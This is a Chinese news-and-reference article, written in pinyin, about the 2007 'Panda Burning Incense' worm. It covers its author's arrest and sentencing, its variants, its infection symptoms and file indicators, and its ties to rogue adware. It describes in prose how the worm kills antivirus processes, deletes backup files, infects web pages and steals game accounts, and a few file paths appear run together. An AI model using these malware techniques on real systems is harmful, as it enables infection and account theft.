cǐ cì chuán bō de“ xióng māo shāo xiāng ” bìng dú， zuò zhě lǐ jùn shì xiān jiāng cǐ bìng dú zài wǎng luò zhōng mài gěi liǎo 120 yú rén， měi tào chǎn pǐn yào jià 500 ～ 1000 yuán rén mín bì， měi rì kě yǐ shōu rù 8000 yuán zuǒ yòu， zuì duō shí yī tiān néng zuàn 1 wàn yú yuán rén mín bì， zuò zhě lǐ jùn yīn cǐ zhí jiē fēi fǎ huò lì 10 wàn yú yuán。 rán hòu yóu zhè 120 yú rén duì cǐ bìng dú jìn xíng gǎi xiě chǔlǐ bìng chuán bō chū qù de， zhè 120 yú rén de chuán bō zào chéng 100 duō wàn tái jì suàn jī gǎn rǎn cǐ bìng dú， tā men jiāng dào qǔ lái de wǎng yǒu wǎng luò yóu xì yǐ jí QQ zhàng hào jìn xíng chū shòu móu lì， bìng shǐ yòng bèi bìng dú gǎn rǎn lún xiàn de jī qì zǔ chéng“ jiāng shī wǎng luò” wéi yī xiē wǎng zhàn dài lái liú liàng。
2007 nián 2 yuè 12 rì hú běi shěng gōng 'ān tīng 12 rì xuān bù， gēn jù tǒng yī bù shǔ， hú běi wǎng jiān zài zhè jiāng、 shān dōng、 guǎng xī、 tiān jīn、 guǎng dōng、 sì chuān、 jiāng xī、 yún nán、 xīn jiāng、 hé nán děng dì gōng 'ān jī guān de pèi hé xià， yī jǔ zhēn pò liǎo zhì zuò chuán bō“ xióng māo shāo xiāng ” bìng dú 'àn， zhuā huò bìng dú zuò zhě lǐ jùn。 zhè shì zhōng guó jǐng fāng pò huò de shǒu lì jì suàn jī bìng dú dà 'àn。 qí tā zhòng yào fàn zuì xián yí rén： léi lěi（ nán， 25 suì， wǔ hàn xīn zhōu qū rén）、 wáng lěi（ nán， 22 suì， shān dōng wēi hǎi rén）、 yè péi xīn（ nán， 21 suì， zhè jiāng wēn zhōu rén）、 zhāng shùn（ nán， 23 suì， zhè jiāng lì shuǐ rén）、 wáng zhé（ nán， 24 suì， hú běi xiān táo rén） tōng guò gǎi xiě、 chuán bō“ xióng māo shāo xiāng ” děng bìng dú， gòu jiàn“ jiāng shī wǎng luò”， tōng guò dào qiè gè zhǒng yóu xì zhàng hào děng fāng shì fēi fǎ móu lì。 zhè shì zhōng guó jìn xiē nián lái， fā shēng bǐ jiào yán zhòng de yī cì rú chóng bìng dú fā zuò。 yǐng xiǎng jiào duō gōng sī， zào chéng jiào dà de sǔn shī。 qiě duì yú yī xiē shū yú fáng fàn de yòng hù lái shuō， gāi bìng dú dǎo zhì jiào wéi yán zhòng de sǔn shī。 yóu yú cǐ bìng dú kě yǐ dào qǔ yòng hù míng yǔ mì mǎ， yīn cǐ， dài yòu míng xiǎn de móu lì mùdì。 suǒ yǐ， zuò zhě cái yòu kě néng jiāng cǐ bìng dú dāng zuò shāng pǐn chū shòu， yǔ yī bān de bìng dú zhì zuò zhě zhǐ shì zì yú zì lè、 huò xiǎn shì wēi lì、 huò xuàn yào jì shù yòu hěn dà de bù tóng。 lìng， zhì zuò zhě lǐ jùn zài bèi bǔ hòu， zài gōng 'ān de jiān shì xià， yòu zài biān xiě jiě dú ruǎn jiàn。
2007 nián 9 yuè 24 rì， hú běi shěng xiān táo shì rén mín fǎ yuàn yī shěn yǐ pò huài jì suàn jī xìn xī xì tǒng zuì pàn chù lǐ jùn yòu qī tú xíng sì nián、 wáng lěi yòu qī tú xíng 'èr nián liù gè yuè、 zhāng shùn yòu qī tú xíng 'èr nián、 léi lěi yòu qī tú xíng yī nián， bìng pàn jué lǐ jùn、 wáng lěi、 zhāng shùn de wéi fǎ suǒ dé yú yǐ zhuī jiǎo | | zhì cǐ， jù bù wán quán tǒng jì， jǐn 12 yuè fèn zhì jīn， biàn zhǒng shù yǐ dá 90 duō gè， gè rén yòng hù gǎn rǎn xióng māo shāo xiāng de yǐ jīng gāo dá jǐ bǎi wàn， qǐ yè yòng hù gǎn rǎn shù hái zài jì xù shàng shēng。 fǎn fáng dú zhuān jiā biǎo shì， bàn suí zhe gè dà shā dú chǎng shāng duì“ xióng māo shāo xiāng ” bìng dú de jí zhōng jiǎo shā， gāi bìng dú zhèng zài bù duàn“ fán yǎn” xīn de biàn zhǒng， mì móu gèng jiā yǐn bì de chuán bō fāng shì。 fǎn bìng dú zhuān jiā jiàn yì， yòng hù bù dǎ kāi kě yí yóu jiàn hé kě yí wǎng zhàn， bù yào suí biàn yùn xíng bù zhī míng chéng xù huò dǎ kāi mò shēng rén yóu jiàn de fù jiàn。
biàn zhǒng： jīn zhū bào xǐ jīn zhū bào xǐ bìng dú shí jì jiù shì zuì jìn xióng māo shāo xiāng de xīn biàn zhǒng。 chūn jié jiāng zhì， rán 'ér guǎng dà wǎng luò yòng hù réng méi yòu chè dǐ bǎi tuō“ xióng māo shāo xiāng ” de yīn mái。 bàn suí zhe dà liàng“ xióng māo shāo xiāng ” biàn zhǒng de chū xiàn， duì yòng hù de wēi hài yī làng gāo guò yī làng。 1 yuè 29 rì， lái zì jīn shān dú bà fǎn bìng dú zhōng xīn zuì xīn xiāo xī：“ xióng māo shāo xiāng ” huà shēn“ jīn zhū”， wēi hài zhǐ shù zài dù shēng jí， bèi gǎn rǎn de diàn nǎo zhōng bù dàn“ xióng māo” chéng qún， ér qiě“ jīn zhū” mǎn juàn。 dàn xiàng zhēng cái fù de jīn zhū réng rán ràng yòng hù wú fǎ bǎi tuō“ xì tǒng bèi pò huài， dà liàng yìng yòng ruǎn jiàn wú fǎ yìng yòng” de 'è mèng。
bìng dú miáo shù：
“ wǔ hàn nán shēng”， sú chēng“ xióng māo shāo xiāng ”， jìn rì yòu huà shēn wéi“ jīn zhū bào xǐ”， zhè shì yī gè gǎn rǎn xíng de rú chóng bìng dú， tā néng gǎn rǎn xì tǒng zhōng exe， com， pif， src， html， asp děng wén jiàn， tā hái néng zhōng zhǐ dà liàng de fǎn bìng dú ruǎn jiàn jìn chéng bìng qiě huì shān chú kuò zhǎn míng wéi gho de wén jiàn， gāi wén jiàn shì yī xì tǒng bèi fèn gōng jù GHOST de bèi fèn wén jiàn， shǐ yòng hù de xì tǒng bèi fèn wén jiàn diū shī。 bèi gǎn rǎn de yòng hù xì tǒng zhōng suǒ yòu .exe kě zhí xíng wén jiàn quán bù bèi gǎi chéng kě 'ài jīn zhū de múyàng。
1 yuè 30 rì， jiāng mín kē jì fǎn bìng dú zhōng xīn jiān cè dào， sì nüè hù lián wǎng de“ xióng māo shāo xiāng ” yòu chū xīn biàn zhǒng。 cǐ cì biàn zhǒng bǎ“ xióng māo shāo xiāng ” tú 'àn biàn chéng“ jīn zhū bào xǐ”。 jiāng mín fǎn bìng dú zhuān jiā tí xǐng yòng hù， chūn jié lín jìn， jǐn fáng chūn jié qī jiān bìng dú jiè rén men hù zhì zhù fú zhī jì dà miàn jī bào fā。
zhuān jiā jiè shào，“ xióng māo shāo xiāng ” qù nián 11 yuè zhōng xún bèi shǒu cì fā xiàn， duǎn duǎn liǎng gè yuè shí jiān， xīn lǎo biàn zhǒng yǐ dá 700 duō zhǒng gè， jù jiāng mín fǎn bìng dú yù jǐng zhōng xīn jiān cè dào de shù jù xiǎn shì，“ xióng māo shāo xiāng ” bìng dú qù nián 12 yuè yī jǔ chuǎng rù bìng dú pái míng qián 20 míng， 1 yuè fèn gèng shì yòu wàng jìn rù qián 10 míng。 yì qíng zuì yán zhòng de dì qū fēn bié wéi： guǎng dōng、 shān dōng、 jiāng sū、 běi jīng hé liáo níng。
zhēn duì gāi bìng dú， jiāng mín shā dú ruǎn jiàn KV xì liè yǐ jǐn jí shēng jí， yòng hù shēng jí dào zuì xīn bìng dú kù jí kě yòu xiào fáng fàn gāi bìng dú yú xì tǒng zhī wài。 jiāng mín“ xióng māo shāo xiāng ” zhuān shā gōng jù yǐ tóng bù gēngxīn， wèi 'ān zhuāng shā dú ruǎn jiàn de yòng hù kě yǐ dēng lù jiāng mín wǎng zhàn xià zài shā dú。 cǐ wài， zhēn duì“ xióng māo shāo xiāng ” biàn zhǒng pín fán de tè zhēng， jiāng mín shā dú ruǎn jiàn KV2007 zhù dòng fáng yù guī zé kù kě chè dǐ fáng fàn“ xióng māo shāo xiāng ” jí qí biàn zhǒng， yòng hù kě yǐ dēng lù jiāng mín fǎn bìng dú lùn tán (forum.jiangmin.com) xià zài shǐ yòng。
jīn shān dú bà fǎn bìng dú zhuān jiā dài guāng jiàn zhǐ chū， bàn suí zhe gè dà shā dú chǎng shāng duì“ xióng māo shāo xiāng ” bìng dú de jí zhōng jiǎo shā， gāi bìng dú zhèng zài bù duàn“ fán yǎn” xīn de biàn zhǒng， mì móu gèng jiā yǐn bì de chuán bō fāng shì。 jù bù wán quán tǒng jì， jǐn 12 yuè fèn zhì jīn， biàn zhǒng shù yǐ dá 90 duō gè， gè rén yòng hù gǎn rǎn xióng māo shāo xiāng de yǐ jīng gāo dá jǐ bǎi wàn， qǐ yè yòng hù gǎn rǎn shù hái zài jì xù shàng shēng。
cǐ wài xué shēng hán jiǎ kāi shǐ， shàng wǎng rén qún duǎn qī nèi jí zhōng shàng shēng， bìng dú de chuán bō sù dù yě kōng qián jiā kuài， suǒ yǐ yòng hù zài jìn xíng shàng wǎng de guò chéng zhōng yào gèng jiā jǐng tì bìng dú de rù qīn。 jù liǎo jiě， qián jǐ tiān zài wǎng luò shàng chū xiàn liǎo“ xióng māo shāo xiāng ” zuò zhě shēng chēng bù zài yòu biàn zhǒng chū xiàn， ér“ jīn zhū” de chū xiàn zài cì fěn suì liǎo rén men de měi mèng， zài cì jiāng rén men lā huí dào xióng māo shāo xiāng de mèng yǎn zhī zhōng。 zhuān jiā chēng， àn zhào mù qián“ xióng māo shāo xiāng ” pò huài chéng dù， wēi xié jiāng yán shēn zhì chūn jié。
zhuān jiā tí xǐng dà jiā， yù dào“ jīn zhū” bù yào xīn huāng， yòng xióng māo shāo xiāng zhuān shā gōng jù jiù kě yǐ wán quán duì fù zhè zhǐ xiǎo jīn zhū lā！ | xiāng guān bào dào hé píng lùn | ‘ liú máng ruǎn jiàn’ hé bìng dú zhī jiān de jiè xiàn yǐ biàn dé yuè lái yuè mó hú。 wèile dá dào gèng hǎo de chuán bō xiào guǒ， bìng jiǎn shǎo chéng běn， bù shǎo zhōng xiǎo chǎng shāng zhí jiē shǐ yòng bìng dú jìn xíng‘ liú máng tuī guǎng’。” zuó rì， fǎn bìng dú zhuān jiā zhí zhǐ liú máng ruǎn jiàn shì zhè cì“ xióng māo shāo xiāng ” mù hòu hēi shǒu。
jù jiāng mín gōng sī fǎn bìng dú gōng chéng shī chēng， yǐ jīng fā xiàn liǎo jìn qī fēng kuáng sì nüè de“ xióng māo shāo xiāng ” mù hòu shì lì de hén jì，“ xióng māo shāo xiāng ” bìng dú bèi huái yí shì yóu“ chāo jí xún jǐng” ruǎn jiàn de tí gōng fāng zài mù hòu tuī dòng， wǎng shàng yǐ jīng fā xiàn liǎo chǎn xiāo yī tiáo lóng dào qiè xiāo shòu wǎng yóu shè bèi de chǎn yè liàn。
ér cóng ruì xīng jié huò de“ xióng māo shāo xiāng (Worm.Nimaya)” yàng běn jìn xíng fēn xī， yě yòu bù shǎo biàn zhǒng yùn xíng hòu huì qù cóng wǎng shàng xià zài dào qǔ“ jiāng hú”、“ dà huà xī yóu”、“ mó shòu” děng wǎng luò yóu xì zhàng hào de mù mǎ。 yòng hù de jì suàn jī yī dàn bèi gǎn rǎn zhè xiē mù mǎ， yóu xì de zhàng hào、 zhuāng bèi děng jiù huì bèi hēi kè qiè qǔ。 hēi kè tōng guò zài wǎng shàng dǎo mài wǎng yóu zhàng hào、 zhuāng bèi děng huò lì。
liú máng ruǎn jiàn fēn huà： bù fēn“ xǐ bái” bù fēn bìng dú huà。 quán mín fàn wéi nèi de tǎo fá shǐ liú máng ruǎn jiàn kāi shǐ chū xiàn“ fēn huà”。
běi jīng ruì xīng gǔ fèn yòu xiàn gōng sī fǎn bìng dú gōng chéng shī shǐ yǔ xiàng《 měi rì jīng jì xīn wén》 biǎo shì， pò yú jì shù hé yú lùn de yā lì， zhì zuò liú máng ruǎn jiàn de chǎng shāng kāi shǐ liǎng jí fēn huà。 yī xiē dà pái hù lián wǎng chǎng shāng zhú jiàn“ xǐ bái”， jiāng ruǎn jiàn de“ liú máng” chéng dù jiàng dī， hái yòu yī xiē chǎng shāng gān cuì fàng qì tuī guǎng“ liú máng ruǎn jiàn”。 rán 'ér， réng yòu dà liàng de zhōng xiǎo chǎng shāng shì tōng guò“ liú máng ruǎn jiàn” qǐ jiā de， tōng guò“ liú máng ruǎn jiàn” jìn xíng guǎng gào tuī guǎng yǐ jīng chéng wéi qí gōng sī zhù yào shèn zhì shì wéi yī de shōu rù lái yuán。 2006 nián xià bàn nián kāi shǐ， yī xiē chǎng shāng wèile shēng cún， bù xī dìng 'ér zǒu xiǎn， shǐ yòng gèng jiā bēi liè de shǒu duàn jìn xíng liú máng tuī guǎng， bìng qiě cǎi yòng gèng jiā 'è dú de jì shù gōng rán xiàng fǎn bìng dú ruǎn jiàn、 fǎn liú máng ruǎn jiàn gōng jù tiǎo zhàn。
jù ruì xīng gōng sī kè hù fú wù zhōng xīn de tǒng jì shù jù biǎo míng， cóng 2006 nián 6 yuè kāi shǐ， yòng hù jì suàn jī yóu yú liú máng ruǎn jiàn wèn tí dǎo zhì bēng kuì de qiú zhù shù liàng yǐ jīng chāo guò liǎo bìng dú。
jù zhuān jiā jiè shào， zhè yī shí qī de“ liú máng ruǎn jiàn” yòu liǎng dà tè diǎn： yī shì biān xiě bìng dú huà。 bù shǎo“ liú máng ruǎn jiàn” wèile fáng zhǐ bèi shā dú ruǎn jiàn huò liú máng ruǎn jiàn xiè zài gōng jù fā xiàn， cǎi yòng liǎo bìng dú cháng yòng de Rootkit jì shù jìn xíng zì wǒ bǎo hù。 Rootkit kě yǐ duì zì shēn jí zhǐ dìng de wén jiàn jìn xíng yǐn cáng huò suǒ dìng， fáng zhǐ bèi fā xiàn hé shān chú。 dài yòu Rootkit de“ liú máng ruǎn jiàn” jiù xiàng liàn jiù liǎo“ jīn zhōng zhào”、“ tiě bù shān”， bù chú qù zhè céng bǎo hù gēn běn nán shāng qí háo fā。 gèng yòu yī xiē liú máng ruǎn jiàn， cǎi yòng“ zì shā shì” jì shù gōng jī shā dú ruǎn jiàn。 yī dàn fā xiàn yòng hù 'ān zhuāng huò yùn xíng shā dú ruǎn jiàn， biàn yùn xíng 'è yì dài mǎ， zhí jiē zào chéng jì suàn jī sǐ jī、 lán píng， ràng yòng hù wù yǐ wéi shì shā dú ruǎn jiàn cún zài wèn tí。
èr shì chuán bō bìng dú huà。 wèile dá dào gèng hǎo de chuán bō xiào guǒ， bìng jiǎn xiǎo chéng běn， bù shǎo zhōng xiǎo chǎng shāng zhí jiē shǐ yòng bìng dú jìn xíng“ liú máng tuī guǎng”。 yòng hù de jì suàn jī gǎn rǎn bìng dú hòu， bìng dú huì zì dòng zài hòu tái yùn xíng， xià zài bìng 'ān zhuāng“ liú máng ruǎn jiàn”。 tóng shí，“ liú máng ruǎn jiàn” ān zhuāng hòu yě huì qù cóng hù lián wǎng zì dòng xià zài yùn xíng bìng dú。 dà liàng de“ liú máng ruǎn jiàn” kāi shǐ shǐ yòng diàn nǎo bìng dú lái yǐn cáng zì shēn、 jìn xíng kuài sù chuán bō、 bìng duì kàng yòng hù de qīng chú děng， zhè xiē xíng wéi yán zhòng wēi hài dào yòng hù de xìn xī 'ān quán hé lì yì。“ liú máng ruǎn jiàn” hé bìng dú zhī jiān de jiè xiàn yǐ biàn dé yuè lái yuè mó hú。 suí zhe“ liú máng ruǎn jiàn” bù duàn cháo zhe bìng dú de fāng xiàng fā zhǎn， yào xiǎng chè dǐ shā miè“ liú máng ruǎn jiàn” jiù bì xū cǎi yòng fǎn bìng dú jì shù。
lì yì qū shǐ liú máng ruǎn jiàn zhì zào“ xióng māo shāo xiāng ”？
shǐ yǔ biǎo shì， 2006 nián 11 yuè 14 rì， ruì xīng fā bù liú máng ruǎn jiàn zhuān yòng qīng chú gōng jù héng héng héng kǎ kǎ shàng wǎng 'ān quán zhù shǒu 3.0， shǒu cì jiāng fǎn bìng dú jì shù yìng yòng yú fǎn liú máng ruǎn jiàn dāng zhōng。 jiù zài kǎ kǎ gāng gāng fā bù 24 xiǎo shí， jiù yòu yī gè míng wéi“ my123” de 'è yì chéng xù dǐng fēng zuò 'àn， fēng kuáng cǎi yòng bìng dú huà de biān xiě jì shù lái táo bì kǎ kǎ de zhuī shā， suí hòu yòu chū xiàn liǎo míng wéi“ 3448.com” hé“ 7939.com” liǎng gè liú máng ruǎn jiàn， tā men suǒ dìng yòng hù liú lǎn qì de shǒu yè yǐ tí gāo qí wǎng zhàn fǎng wèn liàng。
cǐ hòu， bù fēn liú máng ruǎn jiàn kāi shǐ hé bìng dú hé zuò。 zǎo xiān yī gè chuán bō jiào guǎng de rú chóng bìng dú“ wēi jīn rú chóng (Worm.Viking)”， jiù huì cóng bìng dú zuò zhě zhǐ dìng de wǎng zhàn qù xià zài liú máng ruǎn jiàn、 dào hào mù mǎ děng， bìng zhòngzhí zài yòng hù de jì suàn jī shàng。
“ dà liàng‘ liú máng ruǎn jiàn’ kāi shǐ shǐ yòng diàn nǎo bìng dú lái yǐn cáng zì shēn、 jìn xíng kuài sù chuán bō、 bìng duì kàng yòng hù de qīng chú děng， zhè xiē xíng wéi yán zhòng wēi hài dào yòng hù de xìn xī 'ān quán hé lì yì。” shǐ yǔ chēng，“‘ xióng māo shāo xiāng ’ bìng dú chéng wéi yī gè‘ jiào kē shū’ shì de bìng dú， shì bì yòu dà liàng de bìng dú huì mó fǎng tā de tè zhēng jìn xíng biān xiě。”
1 yuè 29 rì， jīn shān dú bà fǎn bìng dú zhōng xīn zuì xīn xiāo xī：“ xióng māo shāo xiāng ” huà shēn“ jīn zhū”， wēi hài zhǐ shù zài dù shēng jí， àn zhào mù qián“ xióng māo shāo xiāng ” pò huài chéng dù， wēi xié jiāng yán shēn zhì chūn jié。 ér zài ruì xīng quán qiú fǎn bìng dú jiān cè wǎng 27 rì jiān cè jiēguǒ xiǎn shì， 27 rì yī gè“ diàn yǎn jiàndié biàn zhǒng BSF(Trojan.Spy.Delf.bsf)” bìng dú yòu chū xiàn， gāi bìng dú yǔ“ xióng māo shāo xiāng ” bìng dú lèi sì。
ér yè nèi rén shì chēng， jìn rì yóu yú dì zhèn yǐn qǐ hǎi dǐ guāng lǎn zhōng duàn， zào chéng shù bǎi wàn shǐ yòng guó wài shā dú ruǎn jiàn de gè rén yòng hù、 shù shí wàn qǐ yè hé zhèng fǔ jú yù wǎng yòng hù wú fǎ shēng jí。 zhè yòu yì wèi zhe zhè xiē yòng hù de diàn nǎo wán quán xiàng bìng dú hé hēi kè chǎng kāi liǎo dà mén。
“ zài méi yòu fǎ lǜ fǎ guī chū tái qián， liú máng ruǎn jiàn shì bù huì suō shǒu de， bù pái chú‘ xióng māo shāo xiāng ’ shì liú máng ruǎn jiàn suǒ wéi。” zuó rì， zhōng guó fǎn liú máng ruǎn jiàn lián méng lǐ jiā héng biǎo shì：“ zhǐ yào yòu lì yì qū shǐ， liú máng ruǎn jiàn jiù huì biàn huà xíng shì， yǐ gèng bù róng yì chá jué de bìng dú fāng shì háo wú jì dá dì móu qǔ lì yì。”
xióng māo shāo xiāng ” huà shēn“ jīn zhū”， chūn jié dà bào fā。
“ cháng jiǎ shì bìng dú de gāo fā qī， tè bié shì cháng jiǎ zhī hòu， bìng dú zōng hé zhèng jiē zhǒng 'ér lái。” jīn shān dú bà fǎn bìng dú zhuān jiā dài guāng jiàn shuō，“ mù qián wǒ men yǐ jīng jié huò‘ jīn zhū’ de biàn zhǒng。 bèi gǎn rǎn de diàn nǎo zhōng bù dàn‘ xióng māo’ chéng qún， ér qiě‘ jīn zhū’ néng shǐ xì tǒng bèi pò huài， dà liàng ruǎn jiàn wú fǎ yìng yòng。” zhè yī guān diǎn dé dào liǎo shàng hǎi shì jì suàn jī bìng dú fáng fàn fú wù zhōng xīn de rèn tóng。
yī dàn zhòngdú， yòng hù yě bù yòng huāng zhāng， yòng hù kě bō dǎ shàng hǎi shì xìn xī huà fú wù rè xiàn diàn huà 9682000 xún qiú bāng zhù。
“ xióng māo shāo xiāng ” bìng dú gōng lüè： fáng yù hé jiě chú fāng fǎ
jì shì wǎng xiāo xī zài 2007 nián xīn nián chū xiàn de“ PE_FUJACKS” jiù shì zuì jìn ràng guǎng dà hù lián wǎng yòng hù wén zhī sè biàn de“ xióng māo shāo xiāng ”。 gāi bìng dú de zuò zhě wéi“ wǔ hàn nán shēng” ( wén jiàn mò qiān míng” WhBoy” )， zhè gè bǎn běn de bìng dú yǐ jīng jí chéng liǎo PE_FUJACK hé QQ dà dào de dài mǎ， tōng guò wǎng luò gòng xiǎng , wén jiàn gǎn rǎn hé yí dòng cún chǔ shè bèi chuán bō， yóu qí shì gǎn rǎn wǎng yè wén jiàn， bìng zài wǎng yè wén jiàn xiě rù zì dòng gēngxīn de dài mǎ， yī dàn liú lǎn gāi wǎng yè， jiù huì gǎn rǎn gēngxīn hòu de biàn zhǒng。
bù xìng zhōng zhāo de yòng hù dōuzhī dào，“ xióng māo shāo xiāng ” huì zhàn yòng jú yù wǎng dài kuān， shǐ dé diàn nǎo biàn dé huǎn màn， jì suàn jī huì chū xiàn yǐ xià zhèng zhuàng： xióng māo shāo xiāng bìng dú huì zài wǎng luò gòng xiǎng wén jiàn jiā zhōng shēng chéng yī gè míng wéi GameSetup.exe de bìng dú wén jiàn； jié shù mǒu xiē yìng yòng chéng xù yǐ jí fáng dú ruǎn jiàn de jìn chéng， dǎo zhì yìng yòng chéng xù yì cháng， huò bù néng zhèng cháng zhí xíng， huò sù dù biàn màn； yìng pán fēn qū huò zhě U pán bù néng fǎng wèn shǐ yòng； exe chéng xù wú fǎ shǐ yòng chéng xù tú biāo biàn chéng xióng māo shāo xiāng tú biāo； yìng pán de gēn mù lù chū xiàn setup.exeauturun.INF wén jiàn； tóng shí liú lǎn qì huì mò míng qí miào dì kāi qǐ huò guān bì。
gāi bìng dú zhù yào tōng guò liú lǎn 'è yì wǎng zhàn、 wǎng luò gòng xiǎng、 wén jiàn gǎn rǎn hé yí dòng cún chǔ shè bèi ( rú U pán ) děng tú jìng gǎn rǎn， qí zhōng wǎng luò gòng xiǎng hé wén jiàn gǎn rǎn de fēng xiǎn xì shù jiào gāo， ér tōng guò Web hé yí dòng cún chǔ gǎn rǎn de fēng xiǎn xiāng duì jiào dī。 gāi bìng dú huì zì xíng qǐ dòng 'ān zhuāng， shēng chéng zhù cè liè biǎo hé bìng dú wén jiàn %System%driversspoclsv.exe， bìng zài suǒ yòu cí pán gēn mù lù xià shēng chéng bìng dú wén jiàn setup.exe,autorun.inf。
yìng yòng tǒng yī biàn wéi xióng māo shāo xiāng de tú biāo qí shí jiù shì zài zhù cè biǎo de HKEY_CLASSES_ROOT zhè gè fēn zhī zhōng xiě rù liǎo yī gè zhí， jiāng suǒ yòu de EXE wén jiàn tú biāo zhǐ xiàng yī gè tú biāo wén jiàn， suǒ yǐ yī bān zhǐ yào shān chú cǐ zhí， gǎi huí yuán mào jiù kě yǐ liǎo。 | | | bìng dú | ruì xīng | kǎ bā sī jī | ní mǔ yà | |
| | | xīn bǎn xióng māo shāo xiāng | xióng māo shāo xiāng rú chóng | xióng māo shāo xiāng biàn zhǒng | | xióng māo shāo xiāng shì fàng qì | xióng māo shāo xiāng zhuān shā gōng jù | xióng māo shāo xiāng bìng dú biàn zhǒng | | “ xióng māo shāo xiāng ” biàn zhǒng auw | xióng māo shāo xiāng” biàn zhǒng auw | xióng māo shāo xiāng zhuān yòng qīng chú gōng jù | | xióng māo shāo xiāng de bìng dú yuán mǎ | worm.nimaya xióng māo shāo xiāng zhuān yòng qīng chú gōng jù | xióng māo shāo xiāng bìng dú biàn zhǒng spoclsv.exe | |
|
|
|